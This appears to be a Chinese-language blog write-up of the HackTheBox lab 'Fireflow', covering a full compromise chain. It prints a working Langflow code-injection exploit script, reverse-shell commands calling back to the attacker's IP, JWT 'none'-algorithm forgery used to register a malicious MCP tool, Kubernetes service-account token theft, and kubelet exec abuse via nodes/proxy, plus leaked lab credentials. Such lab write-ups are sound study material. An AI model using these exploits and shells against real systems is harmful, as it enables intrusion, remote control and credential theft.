HackTheBox 渗透靶场-Fireflow

HackTheBox 渗透靶场-Fireflow

Foothold

fscan 扫描

___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.129.91.10:22 open
10.129.91.10:443 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle https://10.129.91.10      code:301 len:162    title:301 Moved Permanently 跳转url: https://fireflow.htb/
已完成 2/2
[*] 扫描结束,耗时: 4.467753284s

发现 ssh 22 端口和 https 443 端口,url 跳转 fireflow.htb

做一下 ip 到域名的映射,随后访问 web 页面。linux 上可以修改/etc/hosts,仅浏览器可以使用 LiveHosts 插件。注意 https 需要显式指定

进入网站后是一个疑似内部情报平台,看起来不是开源框架

唯一的交互在开启 ai agent,目标页面页面域名为 flow.fireflow.htb,同样做一下映射

进入后是一个 langflow 的 agent 页面,容易搜索到 langflow 的一个 cve

https://xz.aliyun.com/news/91841

根据文章的描述撰写一个脚本,其中 flow id 就是地址里的那一串

payload 如下

import os\n\ntmp = os.system(\"bash -c '$cmd'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})

exp 如下,要把 json 改写成 python dict 还是比较蛋疼的,不改又比较麻烦,可以让 ai 帮忙

import requests
import json

url = "https://flow.fireflow.htb"
flow_id = "7d84d636-af65-42e4-ac38-26e867052c25"

header = {
    "Content-Type": "application/json",
}

cookies = {
    "client_id": "xnftrone"
}

payload = {
    "data": {
        "nodes": [
            {
                "id": "Exploit-001",
                "type": "genericNode",
                "position": {"x": 0, "y": 0},
                "data": {
                    "id": "Exploit-001",
                    "type": "ExploitComp",
                    "node": {
                        "template": {
                            "code": {
                                "type": "code",
                                "required": True,
                                "show": True,
                                "multiline": True,
                                "value": "import os\n\ntmp = os.system(\"bash -c 'bash -i >& /dev/tcp/10.10.17.22/9999 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                                "name": "code",
                                "password": False,
                                "advanced": False,
                                "dynamic": False
                            },
                            "_type": "Component"
                        },
                        "description": "X",
                        "base_classes": ["Data"],
                        "display_name": "ExploitComp",
                        "name": "ExploitComp",
                        "frozen": False,
                        "outputs": [
                            {
                                "types": ["Data"],
                                "selected": "Data",
                                "name": "o",
                                "display_name": "O",
                                "method": "r",
                                "value": "__UNDEFINED__",
                                "cache": True,
                                "allows_loop": False,
                                "tool_mode": False,
                                "hidden": None,
                                "required_inputs": None,
                                "group_outputs": False
                            }
                        ],
                        "field_order": ["code"],
                        "beta": False,
                        "edited": False
                    }
                }
            }
        ],
        "edges": []
    },
    "inputs": None
}

session = requests.Session()
response = session.post(f"{url}/api/v1/build_public_tmp/{flow_id}/flow", headers=header, cookies=cookies, json=payload, verify=False)
print(response.text)

运行后拿到 www-data shell

User token

然后上 linpeas 做枚举

wget http://10.10.17.22:8800/PEAS/linpeas_zh.sh
chmod +x linpeas_zh.sh
./linpeas_zh.sh

环境变量中发现 langflow 的 secret key 和密码

LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

如果 langflow 存在所谓的管理员面板我们就能进了,但是这里已经 getshell 了,所以好像没什么意义。

另一个考虑的是是否存在密码复用

有 shell 的用户只有两个,并且没有其他可提权点,因此我们直接 ssh 尝试登陆 nightfall

ssh nightfall@10.129.91.10
n1ghtm4r3_b4_n1ghtf4ll

登陆成功,拿到 user token

Lateral Movement

下面尝试提权,依旧 linpeas。但是这次我们重点关注可能的提权点

发现 /usr/lib/snapd/snap-confine 拥有很多强 capabilities,且被标记为极高风险。检索发现 snap-confine 具有提权能力。但是查询资料发现实际上这里是 snap-confine 的正常配置,且可以看到权限都是=p,意味着是没办法直接通过程序提权的

到这里就卡住了,似乎 linEnum 没有得到其他有用信息。所以这一步去看了题解

发现突破口在 /home/nightfall 下的.mcp 文件夹中,有一个 config.json 文件泄露了信息

{
  "server": "http://10.129.91.132:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

这里泄露了一个 mcp 服务器,但是这个端口在公网似乎没有暴露,尝试直接在服务器中访问

curl http://10.129.91.132:30080/api/v1/version

确认是一个可访问的 mcp 服务

{
    "service": "MCP AI Tool Registry",
    "version": "0.1.0",
    "auth": {
        "type": "JWT",
        "header": "Authorization: Bearer <token>",
        "supported_algorithms": [
            "HS256",
            "none"
        ]
    },
    "docs": "/docs",
    "endpoints": [
        "POST /mcp                        [MCP JSON-RPC 2.0]",
        "POST /api/v1/auth",
        "GET  /api/v1/tools",
        "POST /api/v1/tools               [admin]"
    ]
}

尝试通过 auth 来认证一下,这里的参数格式根据报错稍微探索一下即可

curl http://10.129.91.132:30080/api/v1/auth -H "Content-Type: application/json" -X POST -d '{"username": "langflow-bot","password": "Langfl0w@mcp2026!"}'

成功获取到 access token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps

注意到这里的认证使用的是 JWT,并且列出了可用算法为 HS256none,说明是可能存在零签名伪造攻击的,当然我们先暂且收集一下信息

接着构造认证访问 tools 路由,当然这个 admin 暂时访问不到

curl http://10.129.91.132:30080/api/v1/tools -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps"

结果:

[{"name":"ping_host","description":"Ping a target host 3 times and return ICMP output."},{"name":"get_metrics_summary","description":"Return a summary of system memory and load average from /proc."},{"name":"list_running_tasks","description":"List the top 20 running processes sorted by CPU usage."}]

这里本来想尝试调用一下工具,看看有没有信息。但是问题在于不确定调用工具的端点和参数,尝试 POST 请求/mcp 也没有回显。那就先走 jwt 伪造

查看解码的 jwt,确定鉴权是在 jwt 中

我这里用的是 utools 里的一个工具,可以直接构造空加密

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.

随后在 jwt.io 中进行解码、伪造

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.

尝试访问 admin 的 tools 列表

curl http://10.129.91.132:30080/api/v1/tools -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -H "Content-Type: application/json" -X POST -d '{}'

回显

{
    "detail": [
        {
            "type": "missing",
            "loc": [
                "body",
                "name"
            ],
            "msg": "Field required",
            "input": {}
        },
        {
            "type": "missing",
            "loc": [
                "body",
                "description"
            ],
            "msg": "Field required",
            "input": {}
        },
        {
            "type": "missing",
            "loc": [
                "body",
                "code"
            ],
            "msg": "Field required",
            "input": {}
        }
    ]
}n

这表明这个端点需要 name description code 三个参数,看起来像是一个创建自定义 mcp 工具的端点。可以尝试在这里打个反弹 shell

curl http://10.129.91.132:30080/api/v1/tools -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -H "Content-Type: application/json" -X POST -d '{"name":"shell","description":"xnftrone is handsome","code":"import os\n\ntmp = os.system(\"bash -c '"'"'bash -i >& /dev/tcp/10.10.17.22/9999 0>&1'"'"'\")"}'

注册成功,依然要尝试调用工具。这里去查询了一下一般的 mcp 调用参数格式,构造如下

curl http://10.129.91.132:30080/mcp -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -H "Content-Type: application/json" -X POST -d '{"jsonrpc": "2.0","id": 4,"method": "tools/call","params": {"name": "shell","arguments":{}}}'

这里是第四个工具,所以 id 为 4

成功 get shell,但还不是 root。依旧要找提权,上 linpeas

但是这里不知道是不是设计如此,shell 很容易断,而且重新弹会发现工具不存在,也就是 mcp 的调用进程被回收了。所以要尝试持久化一下

这里选择的方式是尝试用一个新进程托管反弹 shell,工具会直接返回,但是能够正常拿到 shell

curl http://10.129.91.132:30080/api/v1/tools -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -H "Content-Type: application/json" -X POST -d '{"name":"shell","description":"xnftrone is handsome","code":"import os\n\ntmp = os.system(\"bash -c '"'"'setsid bash -i >& /dev/tcp/10.10.17.22/9999 0>&1'"'"' </dev/null >/dev/null 2>&1 &\")"}'
curl http://10.129.91.132:30080/mcp -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -H "Content-Type: application/json" -X POST -d '{"jsonrpc": "2.0","id": 4,"method": "tools/call","params": {"name": "shell","arguments":{}}}'

Root token

然后就正常开始做下一次枚举,这里发现环境里没有 wget 了,然后才意识到应该是在容器里,那也访问不到外部了,所以需要手动收集一下信息

环境变量

KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
PYTHON_VERSION=3.11.15
PWD=/app
MCP_SERVER_SERVICE_HOST=10.43.250.195
MCP_SERVER_SERVICE_PORT=8080
HOME=/home/mcp
MCP_SERVER_PORT_8080_TCP_PROTO=tcp
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
MCP_SERVER_PORT_8080_TCP_PORT=8080
MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195
SHLVL=2
MCP_SERVER_PORT=tcp://10.43.250.195:8080
KUBERNETES_PORT_443_TCP_PROTO=tcp
MCP_SERVER_SERVICE_PORT_HTTP=8080
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env

发现容器应该是一个 Kubernetes,也就是 k8s。

通过 ai 了解发现,一般而言 k8s 的 token 位置为 /run/secrets/kubernetes.io/serviceaccount/token,证书文件为 /run/secrets/kubernetes.io/serviceaccount/ca.crt。因此我们尝试获取并访问 k8s 服务

cat /run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODE4NDg3MzU3LCJpYXQiOjE3ODY5NTEzNTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNDBjOTE4N2MtZTYwOC00MmE5LTlmMjktNTVlNjZjMWQ1ZmZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODY5NTQ5NjR9LCJuYmYiOjE3ODY5NTEzNTcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.FpSLJEzPzZHv4dJ3M4jd8imb003cwII7V4jPYGlOtU4lp0bOlckJyTYnl3I0zoRBMn4UWLsvKgV5C7ggsKGlE_15pc1wgJLzR8l-YeclZ8d1wIfpW8lSA3ExsBfTpMrSeHJmiAacttq434qW--TeRFKt3bHnTYv3gdMS91S1hM2pNVRl833eDLLtHjrm8zPWEF_jKFfLfEt3sh_QhVDBYbU5FmGhKXkpVI6ppPImWJHK4gWxSEcH2ekFELrst5oxGyALxjRh6YQfFC1q3VRLuoFXcjkOOlht5Qqo2dE_f6r6nLSgt1j6YV5qQmz7e5u75J0-uzYoIrh3m6aD8lwddg

由于是 https,最好加上 -k 参数

curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODE4NDg3MzU3LCJpYXQiOjE3ODY5NTEzNTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNDBjOTE4N2MtZTYwOC00MmE5LTlmMjktNTVlNjZjMWQ1ZmZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODY5NTQ5NjR9LCJuYmYiOjE3ODY5NTEzNTcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.FpSLJEzPzZHv4dJ3M4jd8imb003cwII7V4jPYGlOtU4lp0bOlckJyTYnl3I0zoRBMn4UWLsvKgV5C7ggsKGlE_15pc1wgJLzR8l-YeclZ8d1wIfpW8lSA3ExsBfTpMrSeHJmiAacttq434qW--TeRFKt3bHnTYv3gdMS91S1hM2pNVRl833eDLLtHjrm8zPWEF_jKFfLfEt3sh_QhVDBYbU5FmGhKXkpVI6ppPImWJHK4gWxSEcH2ekFELrst5oxGyALxjRh6YQfFC1q3VRLuoFXcjkOOlht5Qqo2dE_f6r6nLSgt1j6YV5qQmz7e5u75J0-uzYoIrh3m6aD8lwddg" --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt https://10.43.0.1:443/api/v1/nodes

成功访问,但是访问失败,权限不够

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "nodes is forbidden: User \"system:serviceaccount:default:mcp-sa\" cannot list resource \"nodes\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "kind": "nodes"
  },
  "code": 403
}

查看当前具有什么权限,设几个变量方便后续调用

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/run/secrets/kubernetes.io/serviceaccount/ca.crt
curl -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' --cacert $CACERT https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
{
  "kind": "SelfSubjectRulesReview",
  "apiVersion": "authorization.k8s.io/v1",
  "metadata": {},
  "spec": {},
  "status": {
    "resourceRules": [
      {
        "verbs": [
          "get"
        ],
        "apiGroups": [
          ""
        ],
        "resources": [
          "nodes/proxy"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authorization.k8s.io"
        ],
        "resources": [
          "selfsubjectaccessreviews",
          "selfsubjectrulesreviews"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authentication.k8s.io"
        ],
        "resources": [
          "selfsubjectreviews"
        ]
      }
    ],
    "nonResourceRules": [
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/.well-known/openid-configuration",
          "/.well-known/openid-configuration/",
          "/openid/v1/jwks",
          "/openid/v1/jwks/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/api",
          "/api/*",
          "/apis",
          "/apis/*",
          "/healthz",
          "/livez",
          "/openapi",
          "/openapi/*",
          "/readyz",
          "/version",
          "/version/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/healthz",
          "/livez",
          "/readyz",
          "/version",
          "/version/"
        ]
      }
    ],
    "incomplete": false
  }
}

直接丢给 ai 帮忙分析一下,风险在这个权限

{
  "verbs": ["get"],
  "apiGroups": [""],
  "resources": ["nodes/proxy"]
}

它的作用是提供一个代理,能够在容器内通过 api 端点访问到 kubelet 服务

容易搜索到,这个权限可以导致 rce

https://cn-sec.com/archives/4969967.html

首先,请求这个 api 需要获取 node 名称,它可以从解码的 jwt token 中得到

{
  ...
    "kubernetes.io": {
      "namespace": "default",
      "node": {
        "name": "fireflow",
        "uid": "87291588-0178-4e42-a998-41a52fa73b8e"
      },
   ...
}

尝试获取节点 ip

curl -k -H "Authorization: Bearer $TOKEN" --cacert $CACERT https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/pods

尝试执行命令,这里需要上传一个 websocat,本来以为容器访问不到外面,测试了一下是可以的,那就直接落文件即可

curl http://10.10.17.22:8800/websocat_linux -o websocat
chmod +x websocat
./websocat --insecure  --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.91.132:10250/exec/default/nginx/nginx?output=1&error=1&command=id'

但是直接这样是 404 的,这是因为 kubelet /exec 的完整路由为

/exec/{namespace}/{pod}/{container}

我们需要实际填入这些参数,这在我们之前获取的 pods 信息中都能看到

其中 namespace 和 pod 在 metadata 中

container 在 spec.containers[].name

当然这些是不唯一的

./websocat --insecure  --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.91.132:10250/exec/kube-system/metrics-server-c8774f4f4-phw6q/metrics-server?output=1&error=1&command=id'

回显

连接上了,但是目标服务器里没有 id,需要多尝试一下其它的 pod

最后在 /monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter 成功执行命令

./websocat --insecure  --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.91.132:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=id'

获取 root token,这里 token 比较难找,可以弹个 shell 找

如果足够敏锐的话也能发现/host/root 就是 node-exporter 的挂载目录

./websocat --insecure  --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.91.132:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=cat&command=/host/root/root/root.txt'

后续发现,其实只有 node-exporter 这个容器是有挂载目录的,所以这个 container 是可以很快定位的,主要还是对 k8s 不熟悉

posted @ 2026-08-18 11:46  xNftrOne  阅读(14)  评论(0)    收藏  举报